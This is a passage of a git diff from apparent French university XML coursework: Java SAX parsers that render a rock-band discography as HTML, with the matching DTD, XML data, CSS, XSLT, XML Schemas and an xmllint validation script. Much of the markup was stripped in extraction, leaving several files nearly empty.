PhotoNom
\"image"); + } + + if ("musiciens".equals(name)) { + this.cat(""); + } + + if ("musicien".equals(name)) { + this.cat(""); + } + + if ("disques".equals(name)) { + this.cat("
NomInstrumentsBiographie
"); + } + + if ("instruments".equals(name)) { + this.cat(""); + } + + if ("bio".equals(name)) { + String att = null; + this.cat(""); + + att = attrs.getValue("naissance"); + if (! "-".equals(att)) { + this.cat(att); + } + + att = attrs.getValue("mort"); + if (! "-".equals(att)) { + this.cat(" - "); + this.cat(att); + } + + this.cat("
"); + } + + + if ("disque".equals(name)) { + String img = "img_disco/" + attrs.getValue("img"); + this.anneeDisque = attrs.getValue("annee"); + this.cat("
PhotoTitre, année
\"image"); + } + + } + + public void endElement (String namespaceURI, + String simpleName, + String qualifiedName) + throws SAXException { + String name = ""; + + if (namespaceURI.length() == 0) { + name = qualifiedName; + } else { + name = simpleName; + } + + if ("groupes".equals(name)) { + this.cat("
"); + } + + if ("groupe".equals(name)) { + this.cat("
"); + } + + if ("musicien".equals(name)) { + this.cat(""); + } + + if ("instruments".equals(name)) { + this.cat(""); + } + + if ("disques".equals(name)) { + this.cat(""); + } + + if ("disque".equals(name)) { + this.cat(", "); + this.cat(this.anneeDisque); + this.cat(""); + } + + } + + public void characters (char buf [], int offset, int len) + throws SAXException { + // String(byte[] bytes, int offset, int length) + this.cat(new String(buf, offset, len)); + } + + + private void cat(String str) { + this.str.append(str); + } + +} diff --git a/XML/TP3/SAXParserDemo2.java b/XML/TP3/SAXParserDemo2.java new file mode 100755 index 0000000..a16e9ab --- /dev/null +++ b/XML/TP3/SAXParserDemo2.java @@ -0,0 +1,194 @@ +// SAXParserDemo.java +// +// Parse avec l'Api SAX un document XML +// Transformation XML --> HTML +// +traitement des attributs +// Document pour l'ENSICAEN + +import java.io.*; +import org.xml.sax.*; +import org.xml.sax.helpers.DefaultHandler; +import javax.xml.parsers.SAXParserFactory; +import javax.xml.parsers.SAXParser; + +public class SAXParserDemo2 extends DefaultHandler { + + private StringBuffer str; + private boolean write; + + + private String anneeDisque = null; + + public static void main (String argv[]) + throws IOException { + if (argv.length != 1) { + System.err.println + ("Usage: SAXParserDemo2 fichierSource > fichierCible"); + System.exit (1); + } + + DefaultHandler handler = new SAXParserDemo2(); + SAXParserFactory factory = SAXParserFactory.newInstance(); + try { + SAXParser saxParser = factory.newSAXParser(); + saxParser.parse( new File(argv[0]), handler ); + } catch (Throwable t) { + t.printStackTrace (); + System.exit (2); + } + System.exit (0); + } + + + public SAXParserDemo2() { + this.str = new StringBuffer(); + this.write = false; + } + + public void error(SAXParseException e) + throws SAXParseException { + throw e; + } + + + public void startDocument () throws SAXException { + this.cat(""); + this.cat(""); + this.cat(""); + this.cat(""); + this.cat("Conversions XML ->"); + this.cat("\n"); + this.cat(""); + this.cat(""); + + } + + public void endDocument () + throws SAXException { + this.cat(""); + this.cat(""); + System.out.println(this.str.toString()); + } + + public void startElement (String namespaceURI, + String simpleName, + String qualifiedName, + Attributes attrs) + throws SAXException { + + String name = null; + + // System.err.println("namespaceURI: " + namespaceURI + ", simpleName: " + ", qualifiedName: " + qualifiedName); + + + if (namespaceURI.length() == 0) { + name = qualifiedName; + } else { + name = simpleName; + } + + + if ("groupes".equals(name)) { + this.cat(""); + } + + if ("groupe".equals(name)) { + String img = "img_disco/" + attrs.getValue("img"); + String url = attrs.getValue("url"); + this.cat(""); + } + + if ("musiciens".equals(name)) { + this.cat(""); + } + + if ("musiciens".equals(name)) { + this.cat(""); + } + + if ("musicien".equals(name)) { + this.cat(""); + this.write = false; + } + /* + if ("instruments".equals(name)) { + this.cat(""); + } + */ + if ("disques".equals(name)) { + this.cat("
PhotoMusiciensDisques
\"image
    "); + } + + if ("musicien".equals(name)) { + this.cat("
  • "); + this.write = true; + } + + if ("instruments".equals(name)) { + this.write = false; + } + + if ("bio".equals(name)) { + this.write = false; + } + + + if ("disques".equals(name)) { + this.cat("
"); + } + + + if ("disque".equals(name)) { + String img = "img_disco/" + attrs.getValue("img"); + this.anneeDisque = attrs.getValue("annee"); + this.cat("
\"image"); + this.cat(attrs.getValue("annee")); + this.cat(""); + this.write = true; + } + } + + public void endElement (String namespaceURI, + String simpleName, + String qualifiedName) + throws SAXException { + String name = ""; + + if (namespaceURI.length() == 0) { + name = qualifiedName; + } else { + name = simpleName; + } + + if ("groupes".equals(name)) { + this.cat("
"); + } + + if ("groupe".equals(name)) { + this.cat("
"); + } + + if ("disque".equals(name)) { + this.cat(""); + this.write = false; + } + } + + public void characters (char buf [], int offset, int len) + throws SAXException { + // String(byte[] bytes, int offset, int length) + if (this.write) { + this.cat(new String(buf, offset, len)); + } + } + + + private void cat(String str) { + this.str.append(str); + } + +} diff --git a/XML/TP3/orig.dtd b/XML/TP3/orig.dtd new file mode 100755 index 0000000..fc63764 --- /dev/null +++ b/XML/TP3/orig.dtd @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + diff --git a/XML/TP3/orig.xml b/XML/TP3/orig.xml new file mode 100755 index 0000000..3a12bf7 --- /dev/null +++ b/XML/TP3/orig.xml @@ -0,0 +1,87 @@ + + + +Deep Purple +The Doors +Iron Butterfly +Led Zeppelin +Pink Floyd + + +Ian GillanVoix +Ian PaicePercussion +Ritchie BlackmoreGuitare +Rod EvansVoix +Jon LordClavier +Nick SimperGuitare basse +Jim MorrisonVoix +Ray ManzarekClavier +Robby KriegerGuitare +John DensmorePercussion +Doug IngleClavier +Lee DormanGuitare basse +Ron BushyPercussion +Erik Bra[u]nnGuitare +John BonhamPercussion +John Paul JonesGuitare basse +Jimmy PageGuitare +Robert PlantVoix +David GilmourGuitare +Syd BarrettGuitare, voix +Roger WatersGuitare basse, voix +Richard WrightClavier +Nick MasonPercussion + + +Shades of Deep Purple +The Book of Taliesyn +Deep Purple +Concerto for Group and Orchestra +Deep Purple in Rock +Fireball +Machine Head +Who Do We Think We Are +Burn +Stormbringer +The House of Blue Light +The Doors +Strange Days +Waiting for the Sun +The Soft Parade +Morrison Hotel +L.A. Woman +An American Prayer +Heavy +In-a-gadda-da-vida +Ball +Live +Metamorphosis +Scorching Beauty +Sun and Steel +Led Zeppelin +Led Zeppelin II +Led Zeppelin III +Led Zeppelin IV +Houses of the Holy +Physical Graffiti +Presence +In Through the Out Door +Coda +The Piper at the Gates of Dawn +A Saucerful of Secrets +More +Ummagumma +Atom Heart Mother +Meddle +Obscured by Clouds +Dark Side of the Moon +Wish You Were Here +Animals +The Wall +The Final Cut +A Momentary Lapse of Reason +Delicate Sound of Thunder +The Division Bell +P-U-L-S-E + + diff --git a/XML/TP3/style.css b/XML/TP3/style.css new file mode 100755 index 0000000..2fec0cd --- /dev/null +++ b/XML/TP3/style.css @@ -0,0 +1,17 @@ +thead { + background-color: lightgray; +} + +table { + width: 100%; +/* border-style: solid; */ + margin: 10pt; + border-collapse: collapse; +} + +td { + border-style: solid; + border-spacing: 0pt; + border-width: 1pt; + padding: 3pt; +} diff --git a/XML/TP3/style2.css b/XML/TP3/style2.css new file mode 100755 index 0000000..c18fcdb --- /dev/null +++ b/XML/TP3/style2.css @@ -0,0 +1,24 @@ +thead { + background-color: lightgray; +} + +table { + width: 100%; +/* border-style: solid; */ + margin: 10pt; + border-collapse: collapse; +} + +td { + border-style: solid; + border-spacing: 0pt; + border-width: 1pt; + padding: 3pt; + vertical-align: top; +} + +td table tr td { + border-style: none; + padding: 3pt; + vertical-align: middle; +} diff --git a/XML/TP4/transform.xml b/XML/TP4/transform.xml new file mode 100755 index 0000000..539107a --- /dev/null +++ b/XML/TP4/transform.xml @@ -0,0 +1,78 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/XML/TP4/transform2.xml b/XML/TP4/transform2.xml new file mode 100755 index 0000000..e16ecf2 --- /dev/null +++ b/XML/TP4/transform2.xml @@ -0,0 +1,41 @@ + + + + + + <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> + <head> + <title>Filmographie d'Ingrid Bergman</title> + </head> + <body> + <table> + + + + + + </table> + </body> + </html> + + + + + + + + <tr> + <td> + + + + </td> + </tr> + + + + + diff --git a/XML/XML-Schema/global.xsd b/XML/XML-Schema/global.xsd new file mode 100755 index 0000000..f91afa7 --- /dev/null +++ b/XML/XML-Schema/global.xsd @@ -0,0 +1,50 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/XML/XML-Schema/local.xsd b/XML/XML-Schema/local.xsd new file mode 100755 index 0000000..4ea587b --- /dev/null +++ b/XML/XML-Schema/local.xsd @@ -0,0 +1,50 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/XML/XML-Schema/run.sh b/XML/XML-Schema/run.sh new file mode 100755 index 0000000..cde9bb6 --- /dev/null +++ b/XML/XML-Schema/run.sh @@ -0,0 +1,33 @@ +#!/bin/sh + +# +# Schema 1 +# + +# Test 1 +echo +echo ">>> Validation of 'test1.xml' against 'local.xsd'... " +echo +xmllint --noout --schema local.xsd test1.xml + +# Test 2 +echo +echo ">>> Validation of 'test2.xml' against 'local.xsd'... " +echo +xmllint --noout --schema local.xsd test2.xml + +# +# Schema 2 +# + +# Test 3 +echo +echo ">>> Validation of 'test3.xml' against 'global.xsd'... " +echo +xmllint --noout --schema global.xsd test3.xml + +# Test 4 +echo +echo ">>> Validation of 'test4.xml' against 'global.xsd'... " +echo +xmllint --noout --schema global.xsd test4.xml diff --git a/XML/XML-Schema/test1.xml b/XML/XML-Schema/test1.xml new file mode 100755 index 0000000..2f82914 --- /dev/null +++ b/XML/XML-Schema/test1.xml @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/XML/XML-Schema/test2.xml b/XML/XML-Schema/test2.xml new file mode 100755 index 0000000..522c491 --- /dev/null +++ b/XML/XML-Schema/test2.xml @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/XML/XML-Schema/test3.xml b/XML/XML-Schema/test3.xml new file mode 100755 index 0000000..3b31866 --- /dev/null +++ b/XML/XML-Schema/test3.xml @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/XML/XML-Schema/test4.xml b/XML/XML-Schema/test4.xml new file mode 100755 index 0000000..f2cb7e3 --- /dev/null +++ b/XML/XML-Schema/test4.xml @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + +